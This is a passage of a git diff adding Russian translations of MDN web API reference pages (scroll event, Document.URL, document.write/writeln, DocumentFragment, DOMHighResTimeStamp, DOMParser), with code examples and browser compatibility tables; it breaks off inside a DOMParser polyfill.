+<p><strong>Примечание:</strong> В iOS UIWebViews события <code>scroll</code> не срабатывают во время самого прокручивания, только по его завершении. См. <a href="https://github.com/twbs/bootstrap/issues/16202">issue в Bootstrap #16202</a>. Safari и WKWebViews не подвержены этому багу.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пропуск_тактов_события_прокрутки">Пропуск тактов события прокрутки</h3>
+
+<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p>
+
+<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p>
+
+<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // Делаем что-нибудь с позицией скролла
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});</pre>
+
+<p>Больше похожих примеров можно найти на странице события <code><a href="/ru/docs/Web/API/Window/resize_event">resize</a></code>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-scroll')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.scroll_event")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: событие <code>scroll</code></a></li>
+</ul>
diff --git a/files/ru/web/api/document/url/index.html b/files/ru/web/api/document/url/index.html
new file mode 100644
index 0000000000..ebba5fad22
--- /dev/null
+++ b/files/ru/web/api/document/url/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.URL
+slug: Web/API/Document/URL
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает строку URL документа HTML.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = document.URL
+</pre>
+
+<p> </p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre><code>document.getElementById("url").textContent = document.URL;</code></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre><code>&lt;p id="urlText"&gt;
+  URL:&lt;br/&gt;
+  &lt;span id="url"&gt;URL goes here&lt;/span&gt;
+&lt;/p&gt;</code></pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.URL")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLDocument")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/document/write/index.html b/files/ru/web/api/document/write/index.html
new file mode 100644
index 0000000000..1394509e96
--- /dev/null
+++ b/files/ru/web/api/document/write/index.html
@@ -0,0 +1,79 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+translation_of: Web/API/Document/write
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Пишет строку в поток документа, открытый с помощью <a href="/en-US/docs/Web/API/document.open">document.open()</a>.</p>
+
+<div class="note">Замечание: поскольку <code>document.write</code> пишет строку в <strong>поток</strong> документа, вызов <code>document.write</code> для закрытого (но загруженного) документа автоматически вызовет <code>document.open</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.open#Notes">который очистит документ</a>.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">document.write(<em>разметка</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>разметка</em></dt>
+ <dd>Строка, содержащая текст для записи в документ.</dd>
+</dl>
+
+<h3 id="Пример">Пример</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+  &lt;title&gt;write example&lt;/title&gt;
+
+  &lt;script&gt;
+    function newContent() {
+      alert("загрузка нового контента");
+      document.open();
+      document.write("&lt;h1&gt;Долой старое, да здравствует новое!&lt;/h1&gt;");
+      document.close();
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="newContent();"&gt;
+  &lt;p&gt;Какой-то оригинальный контент.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Замечания">Замечания</h2>
+
+<p>Запись в документ, загруженный без вызова <code><a href="/en-US/docs/Web/API/document.open">document.open()</a>,</code> автоматически вызовет <code>document.open</code>. По окончании записи рекомендуется вызвать <code><a href="/en-US/docs/Web/API/document.close">document.close()</a>,</code> чтобы браузер  завершил загрузку страницы. Записываемый текст разбирается в структурную модель документа. В примере выше элемент <code>h1</code> становится узлом документа.</p>
+
+<p>Если вызов <code>document.write()</code> производится во встроенном HTML теге <code>&lt;script&gt;</code> , вызов <code>document.open() не будет выполнен</code>. Например:</p>
+
+<pre class="brush: html"><code>&lt;script&gt;
+  document.write("&lt;h1&gt;Основной заголовок&lt;/h1&gt;")
+&lt;/script&gt;</code>
+</pre>
+
+<div class="note"><strong>Замечание:</strong> <code>document.write</code> и <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">не работают в XHTML документах</a> (выводится сообщение "Операция не поддерживается" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] в консоли ошибок). Это случается при открытии локального файла с расширением .xhtml или для любых документов, обрабатываемых с <a href="/en-US/docs/Glossary/MIME_type">типом MIME</a> - <code>application/xhtml+xml</code> . Больше информации доступно по адресу <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Замечание:</strong> <code>document.write</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">отложенных</a> или <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">асинхронных</a> сценариях игнорируется и выводится сообщение типа "Проигнорирован вызов <code>document.write()</code> из асинхронно загруженного внешнего сценария" в консоли ошибок.</div>
+
+<div class="note"><strong>Замечание:</strong> В Edge  вызов <code>document.write в </code>iframe более одного раза  прриводит к ошибке SCRIPT70: Доступ запрещен.</div>
+
+<div class="note"><strong>Замечание:</strong> Начиная с версии 55, Chrome не исполняет элементы <code>&lt;script&gt;</code>  вставленные посредством <code>document.write()</code> в случае отсутствия кэша HTTP для пользователей 2G подключения.</div>
+
+<h2 id="Спецификации"><font color="#ffffff" face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333; font-size: 24px;">Спецификации</span></font></h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2011/WD-html5-author-20110705/apis-in-html-documents.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/ru/web/api/document/writeln/index.html b/files/ru/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..990aec8828
--- /dev/null
+++ b/files/ru/web/api/document/writeln/index.html
@@ -0,0 +1,34 @@
+---
+title: Document.writeln()
+slug: Web/API/Document/writeln
+translation_of: Web/API/Document/writeln
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Выводит в документ строку со знаком перевода каретки в конце.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="eval">document.writeln(<em>line</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<ul>
+ <li><code>line</code> - строка содержащая текст. </li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>document.writeln("&lt;p&gt;введите пароль:&lt;/p&gt;");
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p><strong>document.writeln</strong> тоже самое, что <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write</a> но добавляет знак новой строки.</p>
+
+<div class="note"><strong>Примечание:</strong> <strong>document.writeln</strong> (как и <strong>document.write</strong>) не работает с XHTML документами (вы получите ошибку "Operation is not supported" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) в консоли ошибок). Происходит это, если открыть локальный файл с разширением .xhtml или документ с MIME типом application/xhtml+xml. Больше информации доступно на <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p>
diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..61a6ae1571
--- /dev/null
+++ b/files/ru/web/api/documentfragment/index.html
@@ -0,0 +1,236 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+translation_of: Web/API/DocumentFragment
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как легкая версия  {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p>
+
+<p>Различные другие методы могут взять document fragment в качестве аргумента (например, любые методы интерфейса Node, такие как Node.appendChild и Node.insertBefore), в этом случае прикрепляются или вставляются  дети фрагмента, а не сам фрагмент.</p>
+
+<p>Этот интерфейс также хорошо используется с веб-компонентами: {{HTMLElement ( "template")}}  элементы содержат <code>DocumentFragment</code> в их {{domxref ("HTML Template Element.content")}} свойствах.</p>
+
+<p>Пустой <code>DocumentFragment</code> может быть создан с помощью метода {{domxref("document.createDocumentFragment")}}  или конструктора.</p>
+
+<h2 id="Specification" name="Specification">Свойства</h2>
+
+<p><em>Этот интерфейс не имеет определенных свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает динамическую {{domxref("HTMLCollection")}} содержащую все объекты типа {{domxref("Element")}}, которые являются потомками объекта <code>DocumentFragment</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Element")}}, который является первым потомком объекта <code>DocumentFragment</code>, или <code>null</code>, если такого нет.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает {{domxref("Element")}}, который является последним потомком объекта <code>DocumentFragment</code>, или <code>null</code>, если такого нет.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Возвращает <code>unsigned long</code> - число потомков объекта <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает пустой объект <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы его родителя, {{domxref("Node")}}<em>, и реализует их из интерфейса {{domxref("ParentNode")}}</em></em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.find()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает первое совпадение {{domxref("Element")}} в дереве <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.findAll()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает список {{domxref("NodeList")}} найденных {{domxref("Element")}} в дереве <code>DocumentFragment</code>.</dd>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd>Возвращает первый узел {{domxref("Element")}} в <code>DocumentFragment</code>, в порядке документа, который совпадает с заданным селектором.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd>Возвращает список {{domxref("NodeList")}} всех узлов {{domxref("Element")}} в <code>DocumentFragment</code> которые совпадают с заданным селектором.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd>Возвращает первый узел {{domxref("Element")}} в <code style="font-size: 14px;">DocumentFragment</code>, в порядке документа, который совпадает с заданным ID.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлены конструктор и реализация {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Добавлены методы <code>find()</code> и <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Добавлены методы <code>querySelector()</code> и <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Нет изменений с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> и <code>querySelectorAll()</code></td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> и <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>DocumentFragment() </code>конструктор {{experimental_inline}}</p>
+   </td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Свойства<code> ParentNode </code>{{experimental_inline}}</td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Методы <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code> и <code>querySelectorAll()</code></td>
+   <td>2.1</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>findAll()</code> и <code>find() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>DocumentFragment()</code> конструктор {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Свойства <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Методы <code>ParentNode</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">Интерфейсы DOM.</a></li>
+</ul>
diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html
new file mode 100644
index 0000000000..a1c1ad1148
--- /dev/null
+++ b/files/ru/web/api/domhighrestimestamp/index.html
@@ -0,0 +1,101 @@
+---
+title: DOMHighResTimeStamp
+slug: Web/API/DOMHighResTimeStamp
+translation_of: Web/API/DOMHighResTimeStamp
+---
+<p>{{APIRef("High Resolution Time")}}</p>
+
+<p><span class="seoSummary">Тип <code><strong>DOMHighResTimeStamp</strong></code> является <code>double</code> и используется для хранения значения времени в миллисекундах.</span> Этот тип может быть использован для описания конкретной точки во времени или временного промежутка (разницы во времени между двумя конкретными временными точками).</p>
+
+<p>Время, в миллисекундах, скорее всего будет точным до 5 µs (микросекунд) и дробную долю числа будут составлять доли милисекунды. Тем не менее, если браузер (в силу, к примеру, аппаратных или программных ограничений) не может предоставить значение времени с точностью до 5 µs, он может представить значение как время в миллисекундах с точностью до миллисекунды. Также обратите внимание на секцию внизу об уменьшении точности времени, которое можно указать в настройках браузера дабы избежать атак по времени и сличения информации с помощью цифровых отпечатков.</p>
+
+<p>Кроме того, если устройство или операционная система на который работает user agent не имеет часов, точных до микросекунд, они могут иметь точность до миллисекунды.</p>
+
+<h2 id="Уменьшенная_точность_времени">Уменьшенная точность времени</h2>
+
+<p>Для предоставления защиты от атак по времени и сличения информации с помощью цифровых отпечатков, точность отметок времени может округляться в зависимости от настроек браузера. В Firefox свойство <code>privacy.reduceTimerPrecision</code> включено по умолчанию и имеет значение 20 µs в Firefox 59; в 60 оно уже имеет значение 2ms.</p>
+
+<pre class="brush: js">// уменьшенная точность времени (2ms) в Firefox 60
+event.timeStamp
+// 1519211809934
+// 1519211810362
+// 1519211811670
+// ...
+
+
+// уменьшенная точность времени с включенным `privacy.resistFingerprinting`
+event.timeStamp;
+// 1519129853500
+// 1519129858900
+// 1519129864400
+// ...
+</pre>
+
+<p>В Firefox, вы также можете включить <code>privacy.resistFingerprinting</code>, точность будет 100ms или значением <code>privacy.resistFingerprinting.reduceTimerPrecision.microseconds</code>, в зависимости от того, какое из них больше.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>У этого типа нет свойств. Это число двойной точности с плавающей запятой.</em></p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение <code>DOMHighResTimeStamp</code> является числом двойной точности с плавающей запятой, которое описывает количество миллисекунд (с точностью до 5 микросекунд, если устройство это поддерживает), прошедших между двумя точками во времени. Начальное время может быть либо определённым временем, определённым скриптом или приложением, или <strong>временем возникновения</strong>.</p>
+
+<h4 id="Время_возникновения">Время возникновения</h4>
+
+<p><strong>Время возникновения </strong>— стандартное время, которое считается началом существования текущего документа. Оно считается следующим образом:</p>
+
+<ul>
+ <li>Если {{Glossary("global object")}} скрипта - {{domxref("Window")}}, время возникновения определяется следующим образом:
+  <ul>
+   <li>Если текущий {{domxref("Document")}} - первый загруженный в <code>Window</code>, время возникновения - время, когда был создан контекст браузера.</li>
+   <li>Если во время выгрузки предыдущего документа, который был загружен в окне, пользователю было показано диалоговое окно, в котором он должен был подтвердить покинет он предыдущую страницу или нет, время возникновения это время когда пользователь подтвердить что он желает перейти на новую страницу.</li>
+   <li>Если ни один из вышеописанных пунктов не определяет время возникновения, тогда время возникновения это время, когда переход, который результировал в создании текущего <code>Document</code> имел место.</li>
+  </ul>
+ </li>
+ <li>Если глобальный обьект скрипта — {{domxref("WorkerGlobalScope")}} (тоесть скрипт, запущенный как Web Worker), время возникновения - момент создания Worker-а.</li>
+ <li>Во всех остальных случаях время возникновения - undefined.</li>
+</ul>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>У этого типа нет методов.</em></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-domhighrestimestamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Более строгие описания интерфейсов и типов</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-DOMHighResTimeStamp', 'DOMHighResTimeStamp')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.DOMHighResTimestamp")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Navigation_timing" title="/en-US/docs/Navigation_timing">Navigation Timing API</a></li>
+ <li><a href="/en-US/docs/Web/API/Performance/now">performance.now()</a></li>
+</ul>
diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html
new file mode 100644
index 0000000000..a23e5cb58e
--- /dev/null
+++ b/files/ru/web/api/domparser/index.html
@@ -0,0 +1,230 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+tags:
+  - API
+  - DOM
+  - XML
+  - Экспериментальное
+translation_of: Web/API/DOMParser
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p><code>DOMParser</code> может парсить XML или HTML источник содержащийся в строке в DOM <a href="/en-US/docs/DOM/document" title="document">Document</a>. Спецификация <code>DOMParser находится в</code> <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</p>
+
+<p>Заметьте, что <a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a> поддерживает парсинг XML и HTML из интернет ресурсов (по ссылке)</p>
+
+<h2 id="Создание_DOMParser">Создание DOMParser</h2>
+
+<p>Для того чтобы создать <code>DOMParser</code> просто используйте <code>new DOMParser()</code>.</p>
+
+<p>Для большей информации о создании <code>DOMParser</code> в расширениях Firefox, пожалуйста прочитайте документацию : <a href="/en-US/docs/nsIDOMParser" title="nsIDOMParser"><code>nsIDOMParser</code></a>.</p>
+
+<h2 id="Парсинг_XML">Парсинг XML</h2>
+
+<p>Как только вы создали объект парсера, вы можете парсить XML из строки, используя метод <code>parseFromString</code>:</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+</pre>
+
+<h3 id="Error_handling" name="Error_handling">Обработка ошибок</h3>
+
+<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдает исключение, но вместо этого выдает документ ошибки (see {{Bug(45566)}}):</p>
+
+<pre class="brush:xml">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+(Описание ошибки)
+&lt;sourcetext&gt;(отрывок XML документа)&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>Ошибки синтаксического анализа также сообщаются в <a href="/en-US/docs/Error_Console" title="Error Console">консоль ошибок</a>, с идентификатором URI документа (см. Ниже) в качестве источника ошибки.</p>
+
+<h2 id="Разбор_SVG_или_HTML">Разбор SVG или HTML</h2>
+
+<p><code>DOMParser</code> так же может быть использован для разбора SVG документа {{geckoRelease("10.0")}} или HTML документа {{geckoRelease("12.0")}}. На выходе возможны 3 варианта, в зависимости от переданного MIME типа. Если MIME тип передан как <code>text/xml</code>, результирующий объект будет типа <code>XMLDocument</code>, если <code>image/svg+xml</code>, соответственно <code>SVGDocument,</code> а для MIME типа <code>text/html<font face="Open Sans, Arial, sans-serif"> - </font></code><code>HTMLDocument</code>.</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// возвращает Document, но не SVGDocument или HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// возвращает SVGDocument, который так же является экземпляром класса Document.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html");
+// возвращает  HTMLDocument, который так же является экземпляром класса Document.
+</pre>
+
+<h3 id="DOMParser_HTML_для_устаревших_браузеров">DOMParser HTML для устаревших браузеров</h3>
+
+<pre class="brush: js">/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * КОД РАСПРОСТРАНЯЕТСЯ БЕЗ КАКИХ ЛИБО ГАРАНТИЙ. ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var
+	  proto = DOMParser.prototype
+	, nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>
+	;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
